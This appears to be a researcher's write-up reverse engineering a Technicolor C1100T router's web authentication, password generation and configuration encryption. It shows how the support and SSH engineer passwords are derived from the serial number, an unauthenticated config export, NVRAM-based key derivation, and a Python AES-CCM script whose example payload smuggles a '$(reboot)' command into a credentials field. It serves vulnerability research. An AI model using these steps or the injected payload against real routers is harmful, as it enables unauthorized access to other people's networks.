NGINX's Lua module search location is configured by lua_package_path.
The Lua backend authentication configuration is in /etc/config/web.
Example configuration:
CODE
config user "usr_admin"
option name "admin:admin"
option role "admin"
option gak_id "1"
option password_disabled "0"
config rule 'clink_csrf'
option target '/CSRF'
list roles 'guest'
list roles 'admin'
list roles 'support'
Authentication analysis identified two main accounts on the device.
The accounts are admin and support. The support role has more privileges, but its password was not supplied, and it uses a different login page.
Captured login requests used the identity I=admin:admin for the normal page and I=support:xxxx through sc_login.html.
The authentication flow suggests that the first identity component denotes the role. The relevant configuration is in /etc/config/web:
CODE
config user "usr_support"
option name "support:Century2016$"
option role "support"
option interface "lan"
Related permissions in /etc/config/clash:
CODE
config user 'engineer'
Following these clues led to password generation in /etc/uci-default/tch_0071-web.passwords.
SH
if [ "$USER" == "all" -o "$USER" == "usr_support" ]; thenlocal key="$(uci get env.var.prod_number)!#$(uci get env.var.serial | tail -c 7)"
_set_key "usr_support""${key}"# Save the password to temporary storage for configuring CLASH
uci -P /var/state set clash.engineer.passw=${key}fi
This suggested that the serial number was sufficient to derive the support password. Testing also found incomplete access control:
The configuration contains:
CODE
config rule 'clink_export'
option target '/export'
list roles 'admin'
list roles 'support'
However, a POST request without a cookie returned a configuration file. Its header exposed the serial number:
That allowed the support password to be constructed. The same password also applied to the SSH engineer account in this experiment:
CODE
C1100T#!BF5823
The password differs between routers because their serial numbers differ; the final seven characters are the relevant part of the derivation.
Configuration decryption
Because a configuration file could be retrieved, I investigated its decryption path. Following the calls led to /usr/lib/lua/wfr/webutil.lua.
CODE
/export -> handleExport() -> encrptyconfig
Encryption is implemented in /usr/lib/lua/transformer/shared/ConfigCommon.lua.
Background research showed that this encryption scheme was open source and had already been reverse engineered.
GitHub - antnks/technicolor-config-decrypt: Technicolor router config decryption and injection exploit
The earlier vulnerability appeared to have been fixed: the support account could no longer use it to obtain root. The web service now ran as admin, which likely faced the same restriction. The decryption method was unchanged, but required the following device-side file:
CODE
local rip_path = "/proc/rip/"
local rip_random_B = "0108"
key = read("/rip/0108",64)
aeskey = key[32:]
hmackey = key # Signs the configuration content; the value is checked even for a plaintext configuration upload.
The key file is not normally readable, so decryption requires either obtaining it or reproducing its contents. I suspected that the key might differ per device, but that a customized derivation could still be recoverable. Two experiments could test this: obtain shells on different devices and compare the files, or reverse engineer the derivation algorithm.
Comparison alone would not settle the issue. Even if two RIP keys differed, they might still be derived from an accessible value such as the serial number. Understanding the derivation was therefore necessary.
Key investigation: comparing devices
The comparison approach requires two devices.
Proposed experiments:
Experiment one:
Obtain a shell on each device and compare /proc/rip/0108. If the contents match, the comparison is complete.
If they differ, continue the investigation.
Experiment two:
On one device, compare the file before and after a reboot and a factory reset.
This requires a root shell or another way to load the RIP kernel module separately. Because shell access was difficult, this approach was paused.
In a decryption test, I used:
Decryption succeeded for some configuration files but not all of them. This suggested that the random value differs between boards, motivating analysis of whether the value can be reproduced.
The value survived reboot and factory reset, suggesting that it belonged to the board rather than the firmware image. Its provisioning path still needed to be located.
Key investigation: static reverse engineering
Following the earlier clues and string references placed the relevant implementation in the kernel module /lib/modules/4.1.38/ripdrv.ko.
Static analysis showed:
C
int __fastcall randomkeyB(int a1, int a2)
{
_DWORD v4[16]; // [sp+14h] [-48h] BYREF; each DWORD occupies four bytes.if ( a2 < 64 )
return0;
sub_D18("RandomKeyB", v4); // First 32 bytes: 256 bits.
sub_D18("UpperHalfOfRandomKeyB", &v4[8]); // The next 32 bytes, despite the "UpperHalf" name.memcpy(a1, v4, 64); // Copy 64 bytes from v4 to a1.return64;
}
The function uses SHA-256; I temporarily named it sha256_encryption. A SHA-256 digest is 32 bytes, suggesting that the HMAC key concatenates two digests. The following reconstruction was refined with GPT assistance:
C
// Function pointer types for claritytypedefvoid(__fastcall *SHA256InitFunc)(_BYTE *);
typedefvoid(__fastcall *SHA256UpdateFunc)(_BYTE *, void *, int);
typedefvoid(__fastcall *SHA256FinalFunc)(_BYTE *, _DWORD *);
// Function pointers
SHA256InitFunc sha256_init = (SHA256InitFunc)sha256_desc[21];
SHA256UpdateFunc sha256_update = (SHA256UpdateFunc)sha256_desc[22];
SHA256FinalFunc sha256_final = (SHA256FinalFunc)sha256_desc[23];
// Initialize the output buffer to zeromemset(a2, 0, sizeof(int) * 8);
// Initialize the SHA-256 context
sha256_init(v9);
// Update the SHA-256 context with a constant value
sha256_update(v9, &clinkDrv_tchRandom, 32);
// Update the SHA-256 context with the input stringsize_t input_length = strlen(a1);
sha256_update(v9, a1, input_length);
// Finalize the SHA-256 computation and store the result in 'a2'
sha256_final(v9, a2);
The approximate derivation flow is:
C
get(clinkDrv_tchRandom,32)// Read 32 bytes from clinkDrv_tchRandom as salt material.
sha256(clinkDrv_tchRandom+RandomKeyB)// The effect of the two update calls and the source of clinkDrv_tchRandom still needed investigation.
The source of clinkDrv_tchRandom was located in /lib/modules/4.1.38/bankmgr.ko.
In essence, it reads 0x40 bytes from offset 0x1c100 in the nvram device and uses them as random-value material.
This produced the following overall derivation model:
C
clinkDrv_tchRandom = mtd_read(0x1C100,0x40)
AESKEY_base = "RandomKeyB"
HMACKEY_base = "UpperHalfOfRandomKeyB"
AESKEY = sha256(clinkDrv_tchRandom+AESKEY_base)# The exact role of the two update calls still needed clarification at this stage.
HMACKEY = AESKEY + sha256(clinkDrv_tchRandom+HMACKEY_base)
The remaining question was whether the NVRAM value at 0x1c100 was fixed. The investigation tracked two tasks:
Determine the effect of the two update calls.
Determine how tchRandom is obtained.
The following issue provided another clue:
Command request · Issue #343 · Ansuel/tch-nginx-gui · GitHub
That experiment reports a fixed value at /rip/0120.
The corresponding identifier is RIP_ID_OSIK.
Discussion with another researcher suggested that this value normally remains unchanged.
Inspect /proc/mtd:
The corresponding block device is /dev/mtd4.
Extracting mtd4 revealed tch_dsl_v01.0 near the beginning and tch_c1100t near the end. The device identifier is labeled boardnum.
The 64-byte value raised a further question: was it generated during initialization or provisioned from another image? Block-device writes would normally go through mtd_write.
Because mtd4 includes device-specific identifiers, my initial hypothesis was that this content was not simply copied from a generic firmware image. I investigated initialization next.
One candidate NVRAM-write path was /usr/lib/libbcm_flashutil.so, but it did not contain the relevant write.
Another candidate was /private/libcms_cli.so.
An older kernel version pointed to /bin/persist_init.
The implementation was located in vmlinux, under broad_ioctl:
This still wrote to the NVRAM MTD device. I continued examining other write paths:
The apparent write location instead looked like another read:
The second argument is important and comes from a structure.
C
typedefstructboardIoctParms
{char *string;
char *buf;
int strLen;
int offset;
BOARD_IOCTL_ACTION action; /* flash read/write: nvram, persistent, bcm image */int result;
} BOARD_IOCTL_PARMS;
The main argument is a string passed from user space.
The BCM63xx CFE binaries provided further context.
In one binary, the first part matched the contents of mtd4, while the second contained compressed cferam.000 data. This argued against generation by the running device software and suggested provisioning through:
The write path remained a hypothesis, but the investigation established several useful observations:
CODE
An arbitrary-file-read path could potentially retrieve the complete contents of `/dev/mtd4`.
Reading `/persist/technicolor` could expose the random value; newer versions appeared to store it in `/dev/mtd5`.
This value is central to the device's authentication logic. Recovering it, or reproducing its derivation if it is algorithmic rather than independently random, could potentially affect authentication across related devices. That broader implication remained conditional.
Requests after login are encrypted. Understanding the algorithm is necessary to decrypt responses or modify requests.
The recovered encryption flow is:
CODE
IV = requestIV
data = requestbody
KEY = header.apikey
AES.CCM(IV,KEY,data)
A corresponding encryption and decryption script:
PYTHON
#!/usr/bin/env pythonimport json
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESCCM
defaes_ccm_decrypt_from_json(key, json_str):
# Parse the JSON string
data = json.loads(json_str)
# Extract the values
iv = base64.b64decode(data['iv'])
ciphertext_and_tag = base64.b64decode(data['ct'])
tag_size_bits = 64# Tag size in bits
tag_size_bytes = tag_size_bits // 8# Separate the ciphertext and the tag
ciphertext = ciphertext_and_tag[:-tag_size_bytes]
tag = ciphertext_and_tag[-tag_size_bytes:]
# Perform decryption
aesccm = AESCCM(key, tag_length=tag_size_bytes)
try:
plaintext = aesccm.decrypt(iv, ciphertext + tag, None)
return plaintext
except Exception as e:
print(f"Decryption failed: {e}")
returnNonedefaes_ccm_encrypt_to_json(key, plaintext, iv=None):
# Generate a random IV if not providedif iv isNone:
iv = os.urandom(12) # AES-CCM typically uses a 12-byte IV# Set the tag size (in bytes)
tag_size_bytes = 8# Corresponds to a 64-bit tag# Create AESCCM object
aesccm = AESCCM(key, tag_length=tag_size_bytes)
# Perform encryption
ciphertext_and_tag = aesccm.encrypt(iv, plaintext, None)
# Combine ciphertext and tag
ciphertext = ciphertext_and_tag[:-tag_size_bytes]
tag = ciphertext_and_tag[-tag_size_bytes:]
# Encode the IV, ciphertext, and tag in base64
iv_b64 = base64.b64encode(iv).decode('utf-8')
ct_b64 = base64.b64encode(ciphertext + tag).decode('utf-8')
# Create the JSON structure
encrypted_data = {
"iv": iv_b64,
# "v": 1,# "iter": 10000,# "ks": len(key) * 8, # Key size in bits# "ts": tag_size_bytes * 8, # Tag size in bits# "mode": "ccm",# "adata": "",# "cipher": "aes","ct": ct_b64
}
return json.dumps(encrypted_data)
if __name__ == "__main__":
# Provided key and JSON string
key = bytes.fromhex('2d23ed4accb61e358d4cdff37dcfa0dd673c73868527b324b5e094e732a22be6')
json_str = ''# request body
plaintext = aes_ccm_decrypt_from_json(key, json_str)
if plaintext:
print("Decrypted plaintext:", plaintext.decode('utf-8'))
plaintext = b'{"CSRFtoken":"9c84c68cb86d7090f829fc566566dd5153415fdcb3db85c8c1800b0ff78c69a1","command":"set","data":{"webui.as.admin.username":"admin","webui.as.admin.password_disabled":"0","webui.as.admin.credentials":"admin \'123$(reboot)\'"}}'# Example usage.# Encrypt.
encrypted_json = aes_ccm_encrypt_to_json(key, plaintext,base64.b64decode('owcuTWu7WQY='))
print(encrypted_json)
Deriving the initial password from the random value
The algorithm can be recovered by reversing ripdrv.ko.